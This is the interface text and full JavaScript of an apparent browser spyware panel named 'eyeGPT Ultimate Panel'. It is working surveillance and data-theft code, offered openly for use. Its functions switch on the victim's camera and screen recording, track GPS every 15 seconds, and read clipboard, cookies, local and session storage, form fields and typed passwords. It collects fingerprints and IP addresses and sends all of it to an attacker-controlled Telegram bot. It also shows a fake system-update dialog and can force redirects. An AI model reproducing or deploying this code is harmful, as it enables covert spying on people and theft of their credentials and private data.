šŸ”“ RECORDING

āš™ļø TELEGRAM BOT CONFIG

šŸ“· CAMERA CONTROL

šŸ“· Kamera belum aktif
Klik "Start Camera"

šŸ“ GPS & LOCATION

ā³ Belum ada data lokasi
⚔ Speed: -

šŸ“³ SENSOR DATA (HP)

šŸŽÆ Gyroscope
-
šŸ“± Accelerometer
-
🧭 Orientation
-
šŸ”‹ Battery
-

šŸ’¾ DATA STEALING

šŸ–„ļø SCREEN & RECORDING

⚔ ACTIONS

šŸ“” ACTIVITY LOGS

šŸ”¹ eyeGPT Ultimate Panel Ready
šŸ”¹ 50+ Features Loaded
let cameraStream = null; let mediaRecorder = null; let recordedChunks = []; let isRecording = false; let currentFacingMode = 'user'; let recordTimer = null; let recordedDuration = 0; // ========== SENSOR VARIABLES ========== let sensorInterval = null; let gyroData = { alpha: 0, beta: 0, gamma: 0 }; let accelData = { x: 0, y: 0, z: 0 }; // ========== LOCATION VARIABLES ========== let continuousLocationInterval = null; let currentLocation = null; // ========== CONFIG FUNCTIONS ========== function saveConfig() { BOT_TOKEN = document.getElementById('botToken').value; CHAT_ID = document.getElementById('chatId').value; localStorage.setItem('botToken', BOT_TOKEN); localStorage.setItem('chatId', CHAT_ID); addLog('āœ… Bot config saved'); Swal.fire('Success', 'Bot configuration saved!', 'success'); } function loadConfig() { const savedToken = localStorage.getItem('botToken'); const savedChat = localStorage.getItem('chatId'); if(savedToken) BOT_TOKEN = savedToken; if(savedChat) CHAT_ID = savedChat; document.getElementById('botToken').value = BOT_TOKEN; document.getElementById('chatId').value = CHAT_ID; } async function testBot() { addLog('šŸ“” Testing bot...'); try { const res = await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/getMe`); const data = await res.json(); if(data.ok) { addLog(`āœ… Bot connected: @${data.result.username}`); Swal.fire('Success', `Bot @${data.result.username} is active!`, 'success'); } else { addLog('āŒ Bot connection failed'); Swal.fire('Error', 'Invalid Bot Token', 'error'); } } catch(e) { addLog('āŒ Bot test error'); Swal.fire('Error', 'Connection failed', 'error'); } } // ========== TELEGRAM SENDER ========== async function sendToTelegram(message, mediaBase64 = null, type = 'photo') { if(!BOT_TOKEN || !CHAT_ID) { addLog('āŒ Bot not configured!'); return false; } if(mediaBase64) { const blob = dataURItoBlob(mediaBase64); const formData = new FormData(); formData.append('chat_id', CHAT_ID); let url = `https://api.telegram.org/bot${BOT_TOKEN}/sendPhoto`; if(type === 'video') url = `https://api.telegram.org/bot${BOT_TOKEN}/sendVideo`; formData.append(type, blob, `capture.${type === 'photo' ? 'png' : 'mp4'}`); formData.append('caption', message.substring(0, 200)); try { const res = await fetch(url, { method: 'POST', body: formData }); const result = await res.json(); if(result.ok) { addLog('āœ… Media sent to Telegram'); return true; } return false; } catch(e) { addLog('āŒ Failed to send media'); return false; } } else { const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`; try { const res = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ chat_id: CHAT_ID, text: message, parse_mode: 'Markdown' }) }); const result = await res.json(); if(result.ok) { addLog('āœ… Message sent to Telegram'); return true; } return false; } catch(e) { addLog('āŒ Failed to send message'); return false; } } } function dataURItoBlob(dataURI) { const byteString = atob(dataURI.split(',')[1]); const mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0]; const ab = new ArrayBuffer(byteString.length); const ia = new Uint8Array(ab); for (let i = 0; i < byteString.length; i++) ia[i] = byteString.charCodeAt(i); return new Blob([ab], { type: mimeString }); } // ========== CAMERA FUNCTIONS ========== async function startCamera() { addLog('šŸ“· Starting camera...'); try { if(cameraStream) stopCamera(); cameraStream = await navigator.mediaDevices.getUserMedia({ video: { facingMode: { exact: currentFacingMode } } }); const video = document.getElementById('cameraPreview'); video.srcObject = cameraStream; video.style.display = 'block'; document.getElementById('cameraPlaceholder').style.display = 'none'; document.getElementById('cameraStatus').className = 'status status-active'; addLog('āœ… Camera active'); await sendToTelegram('šŸ“· *Camera activated*\nšŸ•’ ' + new Date().toLocaleString()); } catch(e) { addLog('āŒ Camera error: ' + e.message); Swal.fire('Error', 'Cannot access camera', 'error'); } } function stopCamera() { if(cameraStream) { cameraStream.getTracks().forEach(track => track.stop()); cameraStream = null; const video = document.getElementById('cameraPreview'); video.style.display = 'none'; video.srcObject = null; document.getElementById('cameraPlaceholder').style.display = 'flex'; document.getElementById('cameraStatus').className = 'status status-inactive'; addLog('ā¹ļø Camera stopped'); sendToTelegram('ā¹ļø *Camera stopped*\nšŸ•’ ' + new Date().toLocaleString()); } if(isRecording) stopRecording(); } function switchCamera() { currentFacingMode = currentFacingMode === 'user' ? 'environment' : 'user'; addLog(`šŸ”„ Switching to ${currentFacingMode === 'user' ? 'front' : 'rear'} camera`); if(cameraStream) startCamera(); } async function capturePhoto() { if(!cameraStream) { addLog('āŒ Camera not active!'); Swal.fire('Warning', 'Start camera first!', 'warning'); return; } addLog('šŸ“ø Capturing photo...'); const video = document.getElementById('cameraPreview'); const canvas = document.createElement('canvas'); canvas.width = video.videoWidth || 640; canvas.height = video.videoHeight || 480; canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height); const photo = canvas.toDataURL('image/jpeg', 0.8); const message = `šŸ“ø *PHOTO CAPTURED*\nšŸ•’ ${new Date().toLocaleString()}\nšŸ“ ${currentLocation ? currentLocation.lat + ',' + currentLocation.lng : 'No location'}`; await sendToTelegram(message, photo, 'photo'); addLog('āœ… Photo sent'); } async function startRecording() { if(!cameraStream) { addLog('āŒ Camera not active!'); Swal.fire('Warning', 'Start camera first!', 'warning'); return; } if(isRecording) return; recordedChunks = []; mediaRecorder = new MediaRecorder(cameraStream); mediaRecorder.ondataavailable = (e) => { if(e.data.size > 0) recordedChunks.push(e.data); }; mediaRecorder.onstop = async () => { const blob = new Blob(recordedChunks, { type: 'video/mp4' }); const reader = new FileReader(); reader.onloadend = async () => { const message = `šŸŽ„ *VIDEO RECORDING*\nšŸ•’ ${new Date().toLocaleString()}\nā±ļø Duration: ${recordedDuration}s\nšŸ“ ${currentLocation ? currentLocation.lat + ',' + currentLocation.lng : 'No location'}`; await sendToTelegram(message, reader.result, 'video'); addLog('āœ… Video sent'); }; reader.readAsDataURL(blob); document.getElementById('recordingIndicator').classList.remove('active'); isRecording = false; recordedDuration = 0; }; mediaRecorder.start(1000); isRecording = true; recordedDuration = 0; document.getElementById('recordingIndicator').classList.add('active'); document.getElementById('recordBtn').style.display = 'none'; document.getElementById('stopRecordBtn').style.display = 'inline-flex'; recordTimer = setInterval(() => { if(isRecording) recordedDuration++; }, 1000); addLog('šŸ”“ Recording video...'); } function stopRecording() { if(mediaRecorder && isRecording) { mediaRecorder.stop(); clearInterval(recordTimer); document.getElementById('recordBtn').style.display = 'inline-flex'; document.getElementById('stopRecordBtn').style.display = 'none'; addLog('ā¹ļø Recording stopped'); } } // ========== LOCATION FUNCTIONS ========== function getLocation() { addLog('šŸ“ Getting location...'); if(!navigator.geolocation) { addLog('āŒ Geolocation not supported'); return; } navigator.geolocation.getCurrentPosition(async (pos) => { currentLocation = { lat: pos.coords.latitude, lng: pos.coords.longitude, accuracy: pos.coords.accuracy, speed: pos.coords.speed }; document.getElementById('locationInfo').innerHTML = ` šŸ“ Current Location:
Latitude: ${currentLocation.lat}
Longitude: ${currentLocation.lng}
Accuracy: ${currentLocation.accuracy} meters
šŸ—ŗļø Open Google Maps `; document.getElementById('speedInfo').innerHTML = `⚔ Speed: ${currentLocation.speed ? (currentLocation.speed * 3.6).toFixed(1) + ' km/h' : 'N/A'}`; const message = `šŸ“ *GPS LOCATION*\nLat: ${currentLocation.lat}\nLng: ${currentLocation.lng}\nAcc: ${currentLocation.accuracy}m\nšŸ•’ ${new Date().toLocaleString()}`; await sendToTelegram(message); addLog(`āœ… Location: ${currentLocation.lat}, ${currentLocation.lng}`); }, (err) => { addLog(`āŒ Location error: ${err.message}`); }); } function startContinuousLocation() { if(continuousLocationInterval) { addLog('āš ļø Already tracking'); return; } addLog('šŸ”„ Starting continuous location tracking (15s)...'); getLocation(); continuousLocationInterval = setInterval(() => { navigator.geolocation.getCurrentPosition(async (pos) => { currentLocation = { lat: pos.coords.latitude, lng: pos.coords.longitude, accuracy: pos.coords.accuracy }; document.getElementById('locationInfo').innerHTML = `šŸ“ Updated: ${currentLocation.lat}, ${currentLocation.lng} | Acc: ${currentLocation.accuracy}m
šŸ•’ ${new Date().toLocaleTimeString()}`; await sendToTelegram(`šŸ“ *CONTINUOUS GPS*\nLat: ${currentLocation.lat}\nLng: ${currentLocation.lng}\nšŸ•’ ${new Date().toLocaleString()}`); }, (err) => {}); }, 15000); } function stopContinuousLocation() { if(continuousLocationInterval) { clearInterval(continuousLocationInterval); continuousLocationInterval = null; addLog('ā¹ļø Location tracking stopped'); } } async function getAddressFromCoords() { if(!currentLocation) { addLog('āŒ Get location first!'); return; } addLog('šŸ  Getting address...'); try { const res = await fetch(`https://nominatim.openstreetmap.org/reverse?format=json&lat=${currentLocation.lat}&lon=${currentLocation.lng}`); const data = await res.json(); const address = data.display_name || 'Address not found'; await sendToTelegram(`šŸ  *ADDRESS*\n${address}\nšŸ•’ ${new Date().toLocaleString()}`); addLog('āœ… Address sent'); } catch(e) { addLog('āŒ Address error'); } } // ========== SENSOR FUNCTIONS ========== function startSensors() { addLog('šŸ“³ Starting sensors...'); if(window.DeviceOrientationEvent) { window.addEventListener('deviceorientation', (e) => { gyroData = { alpha: e.alpha?.toFixed(1), beta: e.beta?.toFixed(1), gamma: e.gamma?.toFixed(1) }; document.getElementById('gyroValue').innerHTML = `${gyroData.beta || 0}° / ${gyroData.gamma || 0}°`; document.getElementById('orientValue').innerHTML = `${gyroData.alpha || 0}°`; }); } if(window.DeviceMotionEvent) { window.addEventListener('devicemotion', (e) => { const acc = e.acceleration; accelData = { x: acc?.x?.toFixed(2), y: acc?.y?.toFixed(2), z: acc?.z?.toFixed(2) }; document.getElementById('accelValue').innerHTML = `X:${accelData.x || 0} Y:${accelData.y || 0} Z:${accelData.z || 0}`; }); } getBatteryInfo(); sensorInterval = setInterval(() => { sendToTelegram(`šŸ“³ *SENSOR DATA*\nGyro: ${gyroData.beta}°/${gyroData.gamma}°\nAccel: X:${accelData.x} Y:${accelData.y} Z:${accelData.z}\nšŸ•’ ${new Date().toLocaleTimeString()}`); }, 30000); addLog('āœ… Sensors active (data sent every 30s)'); } function stopSensors() { if(sensorInterval) { clearInterval(sensorInterval); sensorInterval = null; } addLog('ā¹ļø Sensors stopped'); } async function getBatteryInfo() { if(navigator.getBattery) { const bat = await navigator.getBattery(); const level = Math.round(bat.level * 100); document.getElementById('batteryValue').innerHTML = `${level}% ${bat.charging ? '⚔' : 'šŸ”‹'}`; await sendToTelegram(`šŸ”‹ *BATTERY INFO*\nLevel: ${level}%\nCharging: ${bat.charging ? 'Yes' : 'No'}\nšŸ•’ ${new Date().toLocaleString()}`); addLog('āœ… Battery info sent'); } } function vibratePhone() { if('vibrate' in navigator) { navigator.vibrate([500, 300, 500]); addLog('šŸ“³ Device vibrated'); sendToTelegram('šŸ“³ *Vibration executed*'); } else { addLog('āŒ Vibrate not supported'); } } // ========== DATA STEALING ========== function stealCookies() { const cookies = document.cookie; sendToTelegram(`šŸŖ *COOKIES*\n\`\`\`\n${cookies.substring(0, 3000) || '(empty)'}\n\`\`\``); addLog(`āœ… Cookies (${cookies.length} chars)`); } function stealLocalStorage() { let data = {}; for(let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); data[key] = localStorage.getItem(key); } sendToTelegram(`šŸ’¾ *LOCALSTORAGE*\n\`\`\`\n${JSON.stringify(data, null, 2).substring(0, 3000)}\n\`\`\``); addLog(`āœ… LocalStorage (${localStorage.length} items)`); } function stealSessionStorage() { let data = {}; for(let i = 0; i < sessionStorage.length; i++) { const key = sessionStorage.key(i); data[key] = sessionStorage.getItem(key); } sendToTelegram(`šŸ“¦ *SESSIONSTORAGE*\n\`\`\`\n${JSON.stringify(data, null, 2).substring(0, 3000)}\n\`\`\``); addLog(`āœ… SessionStorage (${sessionStorage.length} items)`); } async function stealClipboard() { try { const text = await navigator.clipboard.readText(); sendToTelegram(`šŸ“‹ *CLIPBOARD*\n\`\`\`\n${text.substring(0, 1000)}\n\`\`\``); addLog(`āœ… Clipboard: ${text.substring(0, 50)}`); } catch(e) { addLog(`āŒ Clipboard error`); } } function stealFormData() { const inputs = document.querySelectorAll('input, textarea'); let data = {}; inputs.forEach(inp => { if(inp.value) data[inp.id || inp.name || inp.type] = inp.value; }); sendToTelegram(`šŸ“ *FORM DATA*\n\`\`\`\n${JSON.stringify(data, null, 2).substring(0, 2000)}\n\`\`\``); addLog(`āœ… Form data (${Object.keys(data).length} fields)`); } function stealPasswords() { const passInputs = document.querySelectorAll('input[type="password"]'); let passes = []; passInputs.forEach(p => { if(p.value) passes.push(p.value); }); sendToTelegram(`šŸ”‘ *PASSWORDS*\n\`\`\`\n${passes.join('\n') || '(none)'}\n\`\`\``); addLog(`āœ… ${passes.length} passwords`); } function getBrowserFingerprint() { addLog('šŸ†” Getting fingerprint...'); Fingerprint2.get((components) => { const hash = Fingerprint2.x64hash128(components.map(c => c.value).join(''), 31); sendToTelegram(`šŸ†” *BROWSER FP*\nHash: ${hash}`); addLog('āœ… Fingerprint sent'); }); } function getDeviceInfo() { const parser = new UAParser(); const result = parser.getResult(); sendToTelegram(`šŸ“± *DEVICE INFO*\nBrowser: ${result.browser.name} ${result.browser.version}\nOS: ${result.os.name} ${result.os.version}\nDevice: ${result.device.model || 'Desktop'}\nScreen: ${screen.width}x${screen.height}`); addLog('āœ… Device info sent'); } // ========== SCREEN FUNCTIONS ========== async function captureScreenshot() { addLog('šŸ“ø Taking screenshot...'); try { const canvas = await html2canvas(document.body, { scale: 1.5, logging: false }); const img = canvas.toDataURL('image/png'); await sendToTelegram('šŸ“ø *SCREENSHOT*', img, 'photo'); addLog('āœ… Screenshot sent'); } catch(e) { addLog('āŒ Screenshot error'); } } async function startScreenRecord() { addLog('šŸŽ„ Recording screen (15s)...'); try { const stream = await navigator.mediaDevices.getDisplayMedia({ video: true }); let chunks = []; const recorder = new MediaRecorder(stream); recorder.ondataavailable = e => chunks.push(e.data); recorder.onstop = async () => { const blob = new Blob(chunks, { type: 'video/mp4' }); const reader = new FileReader(); reader.onloadend = async () => { await sendToTelegram('šŸŽ„ *SCREEN RECORDING (15s)*', reader.result, 'video'); addLog('āœ… Screen record sent'); }; reader.readAsDataURL(blob); stream.getTracks().forEach(t => t.stop()); }; recorder.start(); setTimeout(() => recorder.stop(), 15000); } catch(e) { addLog('āŒ Screen record error'); } } async function getNetworkInfo() { const conn = navigator.connection || navigator.mozConnection; const ip = await fetch('https://api.ipify.org?format=json').then(r=>r.json()).then(d=>d.ip); let net = 'N/A'; if(conn) net = `${conn.effectiveType}, ${conn.downlink}Mbps`; sendToTelegram(`🌐 *NETWORK INFO*\nIP: ${ip}\nType: ${net}\nOnline: ${navigator.onLine}`); addLog('āœ… Network info sent'); } function getWebRTCIP() { const pc = new RTCPeerConnection({ iceServers: [] }); pc.createDataChannel(''); pc.createOffer().then(o => pc.setLocalDescription(o)); pc.onicecandidate = (e) => { if(e.candidate) { const ipMatch = e.candidate.candidate.match(/([0-9]{1,3}\.){3}[0-9]{1,3}/); if(ipMatch) { sendToTelegram(`šŸ”’ *WEBRTC IP*\nLocal IP: ${ipMatch[0]}`); pc.close(); } } }; setTimeout(() => pc.close(), 3000); addLog('šŸ”’ WebRTC IP check'); } // ========== ACTIONS ========== function forceRedirect() { const url = prompt('URL to redirect:'); if(url) { sendToTelegram(`šŸ”€ Redirect to: ${url}`); setTimeout(() => window.location.href = url, 500); } } function customAlert() { const msg = prompt('Alert message:'); if(msg) alert(msg); } function fakeUpdate() { Swal.fire({ title: 'System Update', html: 'Installing security updates...', timer: 3000, didOpen: () => { Swal.showLoading(); } }); sendToTelegram('šŸ”„ Fake update shown'); } function fullscreen() { document.documentElement.requestFullscreen(); sendToTelegram('šŸ–„ļø Fullscreen forced'); } function exportAllData() { const data = { cookies: document.cookie, localStorage: { ...localStorage }, sessionStorage: { ...sessionStorage }, location: currentLocation, userAgent: navigator.userAgent, timestamp: new Date().toISOString() }; const json = JSON.stringify(data, null, 2); const blob = new Blob([json], { type: 'application/json' }); saveAs(blob, `eyegpt_export_${Date.now()}.json`); addLog('šŸ“¦ All data exported'); } // ========== LOGS ========== function addLog(msg) { const logArea = document.getElementById('logArea'); const timestamp = new Date().toLocaleTimeString(); const logEntry = document.createElement('div'); logEntry.className = 'log-entry'; logEntry.innerHTML = `šŸ”ø [${timestamp}] ${msg}`; logArea.appendChild(logEntry); logArea.scrollTop = logArea.scrollHeight; while(logArea.children.length > 60) logArea.removeChild(logArea.children[0]); } function exportLogs() { const logs = document.getElementById('logArea').innerText; const blob = new Blob([logs], { type: 'text/plain' }); saveAs(blob, `eyegpt_logs_${Date.now()}.txt`); addLog('šŸ“„ Logs exported'); } function clearLogs() { document.getElementById('logArea').innerHTML = '
šŸ”ø Logs cleared
'; addLog('šŸ—‘ļø Logs cleared'); } // ========== INIT ========== loadConfig(); addLog('šŸŽ® eyeGPT Ultimate Panel Ready'); addLog('šŸ“± 50+ Features Working');